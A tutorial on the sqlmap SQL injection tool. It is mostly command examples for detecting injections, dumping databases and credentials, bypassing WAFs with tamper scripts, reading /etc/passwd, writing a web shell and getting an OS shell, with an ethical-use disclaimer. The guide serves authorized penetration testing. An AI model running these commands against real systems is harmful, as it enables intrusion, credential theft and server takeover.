Terminal GuideTerminal Guide

sqlmap: SQL Injection Testing Tool Guide

Master sqlmap for automated SQL injection detection and exploitation. Learn database enumeration, data extraction, tamper scripts, and advanced techniques for professional security assessments.

22 min readLast updated: February 20, 2026
Dai Aoki

Dai Aoki

CEO at init, Inc. / CTO at US & JP startups / Creator of WebTerm

Ethical Use Only
sqlmap is a powerful SQL injection tool intended exclusively for authorized security testing and educational purposes. Using sqlmap against systems without explicit written permission is illegal and unethical. Always obtain proper authorization before testing. Unauthorized access to computer systems violates laws such as the Computer Fraud and Abuse Act (CFAA) and equivalent legislation worldwide. The authors and this guide assume no liability for misuse.

Quick Reference

Detection

sqlmap -u "URL?id=1"Test URL parameter
--formsAuto-detect and test forms
--level=5 --risk=3Maximum detection

Enumeration

--dbsList all databases
-D db --tablesList tables in database
-D db -T tbl --dumpDump table data

Authentication

--cookie="SESS=abc"Use session cookie
--auth-type=Basic --auth-cred="user:pass"HTTP auth
--headers="X-Token: abc"Custom header

Advanced

--tamper=space2commentUse tamper script
--os-shellGet OS shell
--file-read="/etc/passwd"Read server file

Optimization

--threads=10Parallel requests
--technique=BEUSTQSpecify techniques
--batchNon-interactive mode

Output

-v 3Verbose with payloads
--output-dir=/pathCustom output dir
--flush-sessionClear cached data

Downloadable Image Preview

Failed to generate preview

Overview

sqlmap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. It comes with a powerful detection engine, numerous niche features for the ultimate penetration tester, and a broad range of switches that cover database fingerprinting, data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.

sqlmap supports a full range of SQL injection techniques including boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band injection. It can detect and exploit vulnerabilities across all major database management systems including MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, MariaDB, IBM DB2, and many others.

Key capabilities of sqlmap include:

  • Automatic detection of SQL injection vulnerability types and database backends
  • Full enumeration of databases, tables, columns, and data
  • Password hash extraction and dictionary-based cracking
  • File system read/write access on the database server
  • Operating system command execution through database exploitation
  • WAF/IPS evasion via tamper scripts and encoding techniques
  • Integration with Burp Suite, HTTP request files, and proxy chains

Installation

sqlmap is written in Python and can be installed through multiple methods. It is pre-installed on most penetration testing distributions like Kali Linux and Parrot OS.

bash
# Install via apt (Debian/Ubuntu/Kali)
sudo apt update
sudo apt install sqlmap

# Install via pip
pip install sqlmap

# Install from source (latest development version)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py --version

# Update existing source installation
cd sqlmap-dev
git pull

# Verify installation
sqlmap --version
Info
Installing from source gives you the latest features and bug fixes. The GitHub repository is actively maintained and frequently updated with new tamper scripts and detection improvements.

Basic Usage

The fundamental workflow with sqlmap involves providing a target URL with potentially injectable parameters. sqlmap then automatically tests for SQL injection vulnerabilities, identifies the database backend, and allows you to enumerate and extract data.

URL Parameter Testing

The most common use case is testing GET parameters in URLs. sqlmap will automatically identify injectable parameters and determine the appropriate injection technique.

bash
# Test a single URL parameter
sqlmap -u "http://target.com/page?id=1"

# Specify a particular parameter to test
sqlmap -u "http://target.com/page?id=1&cat=2" -p id

# Test all parameters
sqlmap -u "http://target.com/page?id=1&cat=2&sort=name" --all

# Use a specific HTTP method
sqlmap -u "http://target.com/api/items/1" --method=PUT

# Follow redirects
sqlmap -u "http://target.com/page?id=1" --follow-redirect

# Specify the database backend to speed up detection
sqlmap -u "http://target.com/page?id=1" --dbms=mysql

POST Data Testing

For testing form submissions and POST requests, use the --data flag to provide the POST body. sqlmap will test each parameter in the data string.

bash
# Test POST parameters
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# Test a specific POST parameter
sqlmap -u "http://target.com/login" --data="username=admin&password=test" -p username

# Test JSON POST data
sqlmap -u "http://target.com/api/login" \
  --data='{"username":"admin","password":"test"}' \
  --content-type="application/json"

# Test multipart form data
sqlmap -u "http://target.com/upload" \
  --data="file=test&description=sample" \
  --method=POST

# Use a request file saved from Burp Suite or browser
sqlmap -r request.txt
Tip
Using -r request.txt with a saved HTTP request file is often the most reliable method. You can capture the request from Burp Suite or browser developer tools, save it to a file, and pass it directly to sqlmap. This preserves all headers, cookies, and the exact request format.

Many web applications use cookies for session management and may have injectable cookie parameters. sqlmap can test cookie values for SQL injection vulnerabilities.

bash
# Provide session cookies for authenticated testing
sqlmap -u "http://target.com/profile?id=1" \
  --cookie="PHPSESSID=abc123; role=user"

# Test cookie parameters for injection (level >= 2 required)
sqlmap -u "http://target.com/dashboard" \
  --cookie="tracking_id=abc123" \
  --level=2 -p tracking_id

# Load cookies from a file
sqlmap -u "http://target.com/page?id=1" \
  --load-cookies=cookies.txt

# Handle cookie-based CSRF tokens
sqlmap -u "http://target.com/page?id=1" \
  --cookie="session=abc; csrf_token=xyz" \
  --csrf-token=csrf_token

Detection Techniques

sqlmap provides fine-grained control over the detection process through level, risk, and technique parameters. Understanding these settings is essential for thorough and efficient testing.

Level and Risk

The --level parameter controls the breadth of tests performed, while --risk controls how aggressive the payloads are.

LevelTests Performed
1 (default)Tests GET and POST parameters with basic payloads
2Also tests HTTP Cookie header values
3Also tests HTTP User-Agent and Referer headers
4Additional payloads and broader boundary testing
5Maximum coverage with OR-based payloads in UNION queries
RiskPayload Behavior
1 (default)Harmless test payloads only
2Adds heavy time-based blind queries
3Adds OR-based payloads (may modify data in INSERT/UPDATE statements)
bash
# Default detection (level 1, risk 1)
sqlmap -u "http://target.com/page?id=1"

# Thorough detection including cookies and headers
sqlmap -u "http://target.com/page?id=1" --level=3 --risk=2

# Maximum detection coverage
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

# Verbose output to see the payloads being tested
sqlmap -u "http://target.com/page?id=1" --level=3 -v 3
Danger
Using --risk=3 can cause data modifications in the target database. OR-based payloads used at this risk level may alter or corrupt data in INSERT and UPDATE statements. Use with extreme caution and only on dedicated test environments.

Injection Techniques

sqlmap supports six SQL injection techniques, each identified by a letter. You can specify which techniques to use with the --technique flag.

LetterTechniqueDescription
BBoolean-based blindInfers data by observing true/false responses
EError-basedExtracts data from database error messages
UUNION query-basedAppends UNION SELECT to retrieve data directly
SStacked queriesExecutes additional statements separated by semicolons
TTime-based blindInfers data by observing response time delays
QInline queriesUses inline (nested) queries within the original statement
bash
# Use all techniques (default)
sqlmap -u "http://target.com/page?id=1" --technique=BEUSTQ

# Use only UNION-based and error-based (faster)
sqlmap -u "http://target.com/page?id=1" --technique=EU

# Use only time-based blind (stealthier but slower)
sqlmap -u "http://target.com/page?id=1" --technique=T

# Use boolean-based blind with specific time delay
sqlmap -u "http://target.com/page?id=1" --technique=B --time-sec=5

# Specify the number of columns for UNION injection
sqlmap -u "http://target.com/page?id=1" --technique=U --union-cols=5

Database Enumeration

Once a SQL injection vulnerability is confirmed, sqlmap provides a comprehensive set of enumeration options to map out the database structure and extract data. Enumeration typically follows a top-down approach: databases, tables, columns, then data.

bash
# Get the current database name
sqlmap -u "http://target.com/page?id=1" --current-db

# Get the current database user
sqlmap -u "http://target.com/page?id=1" --current-user

# Check if current user is a DBA
sqlmap -u "http://target.com/page?id=1" --is-dba

# List all databases
sqlmap -u "http://target.com/page?id=1" --dbs

# List tables in a specific database
sqlmap -u "http://target.com/page?id=1" -D target_db --tables

# List columns in a specific table
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --columns

# Dump data from a specific table
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --dump

# Dump specific columns only
sqlmap -u "http://target.com/page?id=1" -D target_db -T users \
  -C username,password,email --dump

# Dump with row limits (useful for large tables)
sqlmap -u "http://target.com/page?id=1" -D target_db -T users \
  --dump --start=1 --stop=100

# Dump all databases (use with caution)
sqlmap -u "http://target.com/page?id=1" --dump-all

# Exclude system databases when dumping
sqlmap -u "http://target.com/page?id=1" --dump-all --exclude-sysdbs

# Search for databases, tables, or columns by name
sqlmap -u "http://target.com/page?id=1" --search -D admin
sqlmap -u "http://target.com/page?id=1" --search -T user
sqlmap -u "http://target.com/page?id=1" --search -C password
bash
# Get database schema (all databases, tables, and columns)
sqlmap -u "http://target.com/page?id=1" --schema

# Count rows in tables
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --count

# Retrieve database banner information
sqlmap -u "http://target.com/page?id=1" --banner

# List database users and their password hashes
sqlmap -u "http://target.com/page?id=1" --users --passwords

# List user privileges
sqlmap -u "http://target.com/page?id=1" --privileges

Advanced Techniques

Tamper Scripts

Tamper scripts modify sqlmap payloads before sending them to the target. They are essential for bypassing Web Application Firewalls (WAFs), Intrusion Prevention Systems (IPS), and custom input filters. sqlmap ships with dozens of built-in tamper scripts.

bash
# Use a single tamper script
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment

# Chain multiple tamper scripts
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,between,randomcase

# Common tamper scripts for WAF bypass
sqlmap -u "http://target.com/page?id=1" \
  --tamper=apostrophemask,equaltolike,space2dash

# Tamper scripts for specific databases
# MySQL
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2mysqlblank,versionedmorekeywords
# MSSQL
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2mssqlhash,percentage

# List all available tamper scripts
sqlmap --list-tampers
Tamper ScriptDescription
space2commentReplaces spaces with inline comments /**/
betweenReplaces > with NOT BETWEEN 0 AND
randomcaseRandomly changes the case of SQL keywords
charencodeURL-encodes all characters in the payload
equaltolikeReplaces = with LIKE
base64encodeBase64-encodes all characters in the payload

OS Access and File Operations

When the database user has sufficient privileges, sqlmap can interact with the underlying operating system. This includes reading and writing files on the server and executing OS commands.

bash
# Read a file from the server
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"

# Read application source code
sqlmap -u "http://target.com/page?id=1" \
  --file-read="/var/www/html/config.php"

# Write a file to the server
sqlmap -u "http://target.com/page?id=1" \
  --file-write="./shell.php" \
  --file-dest="/var/www/html/shell.php"

# Get an interactive OS shell
sqlmap -u "http://target.com/page?id=1" --os-shell

# Execute a single OS command
sqlmap -u "http://target.com/page?id=1" --os-cmd="whoami"

# Get a SQL shell for direct query execution
sqlmap -u "http://target.com/page?id=1" --sql-shell

# Execute a specific SQL query
sqlmap -u "http://target.com/page?id=1" \
  --sql-query="SELECT version()"
Warning
OS-level access through SQL injection represents a critical severity finding. These features should only be demonstrated to validate the impact of a vulnerability during authorized testing. Always document your actions and clean up any files uploaded to the target.

Practical Examples

GET Parameter Injection

A complete workflow for testing and exploiting a GET parameter SQL injection vulnerability, from initial detection through full data extraction.

bash
# Step 1: Initial detection scan
sqlmap -u "http://target.com/products?category=1" --batch

# Step 2: Identify the database backend and enumerate databases
sqlmap -u "http://target.com/products?category=1" --dbs --batch

# Step 3: List tables in the target database
sqlmap -u "http://target.com/products?category=1" \
  -D shop_db --tables --batch

# Step 4: Enumerate columns in the users table
sqlmap -u "http://target.com/products?category=1" \
  -D shop_db -T users --columns --batch

# Step 5: Extract user credentials
sqlmap -u "http://target.com/products?category=1" \
  -D shop_db -T users -C username,password,email --dump --batch

# Step 6: Attempt to crack password hashes
sqlmap -u "http://target.com/products?category=1" \
  -D shop_db -T users -C password --dump --batch \
  --passwords

POST Form Testing

Testing login forms and other POST-based endpoints is a common scenario in web application penetration testing. This example demonstrates testing a login form with various techniques.

bash
# Test a login form with POST data
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test123" \
  --method=POST --batch

# Test with form auto-detection
sqlmap -u "http://target.com/login" --forms --batch

# Test with a specific parameter and DBMS hint
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test123" \
  -p username --dbms=mysql --batch

# Handle CSRF tokens in the form
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test&token=abc123" \
  --csrf-token=token --batch

# Use a saved request from Burp Suite
# Save the intercepted request to a file, then:
sqlmap -r login_request.txt --batch

# Test with a proxy for monitoring traffic
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test123" \
  --proxy="http://127.0.0.1:8080" --batch

Authenticated Scanning

Many SQL injection vulnerabilities exist behind authentication. Testing authenticated endpoints requires providing valid session credentials to sqlmap.

bash
# Use session cookies for authenticated testing
sqlmap -u "http://target.com/admin/users?id=1" \
  --cookie="PHPSESSID=a1b2c3d4e5; admin=true" --batch

# Use HTTP Basic authentication
sqlmap -u "http://target.com/api/users?id=1" \
  --auth-type=Basic --auth-cred="admin:password123" --batch

# Use custom headers (e.g., JWT token)
sqlmap -u "http://target.com/api/users?id=1" \
  --headers="Authorization: Bearer eyJhbGci..." --batch

# Use HTTP Digest authentication
sqlmap -u "http://target.com/api/users?id=1" \
  --auth-type=Digest --auth-cred="admin:password123" --batch

# Handle session expiration with automatic re-authentication
sqlmap -u "http://target.com/dashboard?report=1" \
  --cookie="session=abc123" \
  --eval="import requests; session=requests.post('http://target.com/login', data={'user':'admin','pass':'test'}).cookies.get('session')" \
  --batch

# Route traffic through Tor for anonymity
sqlmap -u "http://target.com/page?id=1" \
  --tor --tor-type=SOCKS5 --check-tor --batch

Options Reference

The following table provides a comprehensive reference for the most commonly used sqlmap options organized by category.

OptionDescription
Target
-u URLTarget URL with query parameters
-r FILELoad HTTP request from a file
-m FILEScan multiple targets from a text file
-g DORKProcess Google dork results as target
Request
--data=DATAPOST data string
--cookie=COOKIEHTTP Cookie header value
--headers=HEADERSExtra HTTP headers (newline separated)
--proxy=PROXYUse a proxy for connections
--random-agentUse a random HTTP User-Agent
Detection
--level=LEVELTest thoroughness level (1-5, default: 1)
--risk=RISKPayload aggressiveness (1-3, default: 1)
--technique=TECHSQL injection techniques (BEUSTQ)
--dbms=DBMSForce specific DBMS backend
Enumeration
--dbsEnumerate databases
--tablesEnumerate tables
--columnsEnumerate columns
--dumpDump table entries
--dump-allDump all databases tables entries
--schemaEnumerate DBMS schema
OS Access
--os-shellInteractive OS shell prompt
--os-cmd=CMDExecute a single OS command
--file-read=FILERead a file from the server
--file-write=FILEWrite a local file to the server
General
--batchNever ask for user input, use defaults
--threads=NMaximum concurrent requests (default: 1)
--tamper=SCRIPTUse tamper script(s) for payload modification
--flush-sessionFlush session files for current target
--fresh-queriesIgnore query results stored in session
-v VERBOSEVerbosity level (0-6, default: 1)

Tips & Best Practices

Follow these guidelines to use sqlmap effectively and responsibly during authorized security assessments.

1. Always start with low level and risk

Begin with default settings (--level=1 --risk=1) and only increase if no vulnerabilities are found. Higher levels generate significantly more traffic and may trigger security alerts or cause service disruption. Use--level=3 --risk=2 for thorough testing, and reserve--level=5 --risk=3 for when you have exhausted other options.

2. Use --batch for scripting and automation

The --batch flag makes sqlmap non-interactive by accepting default answers to all prompts. This is essential for automated scanning pipelines but be aware that defaults may not always be optimal. Review the output carefully.

3. Save and reuse sessions

sqlmap automatically caches session data in the output directory. Subsequent runs against the same target will resume from where they left off. Use--flush-session to start a fresh scan or--fresh-queries to re-execute enumeration queries.

4. Use request files from Burp Suite

The -r option to load a saved HTTP request file is the most reliable method for complex requests. Capture the request in Burp Suite, right-click and select "Copy to file", then pass it to sqlmap. This preserves all headers, cookies, content types, and encoding.

5. Use a proxy for traffic inspection

Route sqlmap traffic through Burp Suite or another proxy with--proxy=http://127.0.0.1:8080 to monitor and verify the exact requests being sent. This helps with debugging failed injections and understanding how payloads are being processed.

6. Specify the DBMS when known

If you know the target database (from error messages, technology stack, or reconnaissance), use --dbms=mysql (or postgresql, mssql, oracle, etc.) to skip the fingerprinting phase and reduce the number of test payloads, making scans significantly faster.

7. Increase threads for faster extraction

When dumping large amounts of data, use --threads=10 to send multiple concurrent requests. This dramatically speeds up blind-based data extraction. Be mindful that too many threads may cause denial of service or trigger rate limiting.

8. Document everything

Use --output-dir=/path/to/report to organize output files. sqlmap saves all results including injection details, extracted data, and session logs. Combine with verbosity flags (-v 3 or higher) to capture detailed payload information for your penetration testing report.

Tip
Combine sqlmap with other tools for a comprehensive assessment. Use Nmap for initial reconnaissance, Nikto or Burp Suite for web vulnerability scanning, and sqlmap specifically for SQL injection testing. This layered approach ensures thorough coverage.

sqlmap works best as part of a broader penetration testing toolkit. Here are complementary tools that are commonly used alongside sqlmap in web application security assessments.

ToolPurposeIntegration with sqlmap
Burp SuiteWeb application proxy and scannerExport requests for sqlmap via -r or use as proxy
NmapNetwork discovery and port scanningIdentify web services and technologies before sqlmap testing
NiktoWeb server vulnerability scannerDiscover potentially injectable endpoints to test with sqlmap
MetasploitExploitation frameworkLeverage SQL injection for further exploitation post-sqlmap
Hashcat / JohnPassword hash crackingCrack password hashes extracted by sqlmap
WiresharkNetwork protocol analyzerAnalyze sqlmap traffic at the packet level for debugging

Quick Reference

  • sqlmap -u URL - Test a URL for SQL injection
  • sqlmap -r request.txt - Test from a saved HTTP request
  • --dbs / --tables / --columns / --dump - Enumerate and extract data
  • --level=N --risk=N - Control detection thoroughness
  • --technique=BEUSTQ - Specify injection techniques
  • --tamper=script - Bypass WAFs and filters
  • --os-shell - Get an operating system shell
  • --batch --threads=10 - Automate and speed up scans
  • --proxy=URL - Route traffic through a proxy
  • --flush-session - Start a fresh scan

Official Documentation

For authoritative information, refer to the official documentation:

Related Articles